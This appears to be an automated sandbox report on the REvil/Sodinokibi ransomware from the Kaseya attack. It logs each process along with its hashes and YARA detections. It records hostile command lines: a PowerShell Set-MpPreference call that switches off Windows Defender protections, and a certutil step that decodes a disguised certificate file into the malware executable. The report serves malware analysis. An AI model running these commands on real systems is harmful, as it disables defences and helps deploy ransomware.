                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Start time:17:05:06
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\System32\cmd.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\first_stage.bat' '
                                                        Imagebase:0x7ff69fdd0000
                                                        File size:273920 bytes
                                                        MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        General

                                                        Start time:17:05:09
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff7a3f70000
                                                        File size:625664 bytes
                                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        General

                                                        Start time:17:05:11
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\System32\cmd.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:'C:\WINDOWS\system32\cmd.exe' /c ping 127.0.0.1 -n 2
                                                        Imagebase:0x7ff69fdd0000
                                                        File size:273920 bytes
                                                        MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        General

                                                        Start time:17:05:12
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\System32\PING.EXE
                                                        Wow64 process (32bit):false
                                                        Commandline:ping 127.0.0.1 -n 2
                                                        Imagebase:0x7ff73e560000
                                                        File size:21504 bytes
                                                        MD5 hash:6A7389ECE70FB97BFE9A570DB4ACCC3B
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        General

                                                        Start time:17:05:14
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never
                                                        Imagebase:0x7ff7c39f0000
                                                        File size:447488 bytes
                                                        MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:.Net C# or VB.NET
                                                        Reputation:low

                                                        General

                                                        Start time:17:05:53
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\cert.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\cert.exe -decode C:\Users\user\desktop\agent.crt C:\Users\user\Desktop\agent.exe
                                                        Imagebase:0x7ff7eb8b0000
                                                        File size:1557512 bytes
                                                        MD5 hash:37B6859A47D3D76DD8950D82293FAD67
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        General

                                                        Start time:17:06:03
                                                        Start date:15/07/2021
                                                        Path:C:\Users\user\Desktop\agent.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:C:\Users\user\Desktop\agent.exe'
                                                        Imagebase:0xe60000
                                                        File size:912264 bytes
                                                        MD5 hash:561CFFBABA71A6E8CC1CDCEDA990EAD4
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: APT_MAL_REvil_Kaseya_Jul21_2, Description: Detects malware used in the Kaseya supply chain attack, Source: C:\Users\user\Desktop\agent.exe, Author: Florian Roth
                                                        Reputation:low

                                                        General

                                                        Start time:17:06:05
                                                        Start date:15/07/2021
                                                        Path:C:\Windows\MsMpEng.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:C:\Windows\MsMpEng.exe
                                                        Imagebase:0xbe0000
                                                        File size:22224 bytes
                                                        MD5 hash:8CC83221870DD07144E63DF594C391D9
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 0000000C.00000002.812150385.0000000000BC0000.00000040.00000001.sdmp, Author: Florian Roth
                                                        • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 0000000C.00000002.812727693.0000000001040000.00000040.00000001.sdmp, Author: Florian Roth
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.652958039.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653386601.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653480881.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653558487.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653674850.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653708573.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653299473.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 0000000C.00000003.653146778.00000000030E8000.00000004.00000040.sdmp, Author: Joe Security
                                                        Reputation:low

                                                        Disassembly

                                                        Reset < >